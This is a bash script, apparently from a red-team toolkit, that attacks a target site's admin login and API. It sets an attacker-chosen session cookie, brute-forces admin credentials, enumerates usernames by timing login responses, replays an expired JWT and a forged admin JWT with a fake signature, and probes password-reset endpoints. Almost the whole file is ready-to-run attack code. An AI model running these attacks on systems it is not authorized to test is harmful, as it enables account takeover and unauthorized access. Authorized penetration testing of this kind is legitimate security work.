#!/bin/bash # Red-team: Auth/session security — session fixation, token replay, brute force, MFA bypass SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" source "$SCRIPT_DIR/../config.sh" OUT="$OUT/auth_session" mkdir -p "$OUT" echo '=== AUTH & SESSION RED-TEAM ===' | tee "$OUT/summary.txt" # Session fixation attempt — set our own session ID echo '--- Session Fixation ---' | tee -a "$OUT/summary.txt" resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 10 -H 'Cookie: PHPSESSID=ATTACKER_CONTROLLED_SESSION_12345' "$TARGET/admin/") echo "[$resp] Preset PHPSESSID to attacker value" | tee -a "$OUT/summary.txt" # Capture session cookie after login attempt and check if same ID is kept echo '' | tee -a "$OUT/summary.txt" echo '--- Admin Brute Force (top credentials) ---' | tee -a "$OUT/summary.txt" CREDS=("${BRUTE_CREDS[@]}") for cred in "${CREDS[@]}"; do user="${cred%%:*}" pass="${cred##*:}" resp=$(curl -sk -c /tmp/jar.txt -o /tmp/login_body.txt -w '%{http_code}' --max-time 10 -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d "username=$user&password=$pass&submit=Login" "$TARGET/admin/") # A 302 redirect away from /admin/ after POST = successful login body_hint=$(grep -i 'invalid\|wrong\|error\|failed\|logout\|dashboard' /tmp/login_body.txt 2>/dev/null | head -1 | cut -c1-60) echo "[$resp] $user:$pass | $body_hint" | tee -a "$OUT/summary.txt" done # ── Timing Side Channel — Username Enumeration ─────────────────────────────── echo '' | tee -a "$OUT/summary.txt" echo '--- Timing Side Channel: Username Enumeration (15 samples each) ---' | tee -a "$OUT/summary.txt" echo 'Methodology: same wrong password, different usernames — 3σ variance = valid username timing leak' | tee -a "$OUT/summary.txt" TIMING_N=15 WRONG_PASS='pentest_wrong_pass_xyz!' sample_login_time() { local user="$1" local times="" for i in $(seq 1 "$TIMING_N"); do T=$(python3 -c "import time; print(int(time.time()*1000))") curl -sk -o /dev/null --max-time 15 \ -X POST -H 'Content-Type: application/x-www-form-urlencoded' \ -d "username=${user}&password=${WRONG_PASS}&submit=Login" \ "$TARGET/admin/" 2>/dev/null E=$(python3 -c "import time; print(int(time.time()*1000))") times="$times $((E - T))" done echo "$times" } compare_login_timing() { local la="$1" ta="$2" lb="$3" tb="$4" LA="$la" TA="$ta" LB="$lb" TB="$tb" python3 - << 'PYEOF' import statistics, os la, lb = os.environ['LA'], os.environ['LB'] a = [int(x) for x in os.environ['TA'].split() if x] b = [int(x) for x in os.environ['TB'].split() if x] if not a or not b: print(" [SKIP] insufficient data") else: ma, mb = statistics.mean(a), statistics.mean(b) sa = statistics.pstdev(a) if len(a) > 1 else 1 sb = statistics.pstdev(b) if len(b) > 1 else 1 diff = abs(ma - mb) threshold = 3 * max(sa, sb, 15) verdict = "TIMING-LEAK" if diff > threshold else "OK" print(f" [{verdict}] {la}: {ma:.1f}ms\xb1{sa:.1f} vs {lb}: {mb:.1f}ms\xb1{sb:.1f} diff={diff:.1f}ms threshold={threshold:.1f}ms") PYEOF } echo " Sampling 'admin' ($TIMING_N requests)..." | tee -a "$OUT/summary.txt" T_ADMIN=$(sample_login_time "admin") echo " Sampling 'root' ($TIMING_N requests)..." | tee -a "$OUT/summary.txt" T_ROOT=$(sample_login_time "root") echo " Sampling 'nonexistent_zzz_xyz' ($TIMING_N requests)..." | tee -a "$OUT/summary.txt" T_INVAL=$(sample_login_time "nonexistent_zzz_xyz") echo '' | tee -a "$OUT/summary.txt" echo ' Username enumeration analysis (3σ threshold, 15ms floor):' | tee -a "$OUT/summary.txt" compare_login_timing "admin" "$T_ADMIN" "nonexistent" "$T_INVAL" | tee -a "$OUT/summary.txt" compare_login_timing "root" "$T_ROOT" "nonexistent" "$T_INVAL" | tee -a "$OUT/summary.txt" echo ' (TIMING-LEAK = valid username responds measurably faster/slower than nonexistent user)' | tee -a "$OUT/summary.txt" # Token replay — capture a 401 response token if any is revealed echo '' | tee -a "$OUT/summary.txt" echo '--- JWT Token Replay & Manipulation ---' | tee -a "$OUT/summary.txt" # Expired-looking token (exp in past) EXPIRED_JWT='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ0ZXN0IiwiZXhwIjoxNjAwMDAwMDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c' resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 10 -H "Authorization: Bearer $EXPIRED_JWT" -H 'Content-Type: application/json' -d '{"data":"test"}' "$API_TARGET/encrypt") echo "[$resp] Expired JWT" | tee -a "$OUT/summary.txt" # Same-signature different payload (alg:HS256 with weak secret guess) WEAK_JWT='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiIsImV4cCI6OTk5OTk5OTk5OX0.YmFkc2lnbmF0dXJl' resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 10 -H "Authorization: Bearer $WEAK_JWT" -H 'Content-Type: application/json' -d '{"data":"test"}' "$API_TARGET/encrypt") echo "[$resp] Crafted admin JWT (fake sig)" | tee -a "$OUT/summary.txt" # Password reset flow (check if endpoint exposed) echo '' | tee -a "$OUT/summary.txt" echo '--- Password Reset Flow ---' | tee -a "$OUT/summary.txt" for path in '/reset-password' '/forgot-password' '/password-reset' '/api/reset' '/admin/reset'; do resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 "$TARGET$path") echo "[$resp] $path" | tee -a "$OUT/summary.txt" done # Cookie security flags check echo '' | tee -a "$OUT/summary.txt" echo '--- Cookie Security Flags ---' | tee -a "$OUT/summary.txt" curl -sk -I --max-time 10 -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=test' "$TARGET/admin/" | grep -i 'set-cookie' | tee -a "$OUT/summary.txt" cat "$OUT/summary.txt"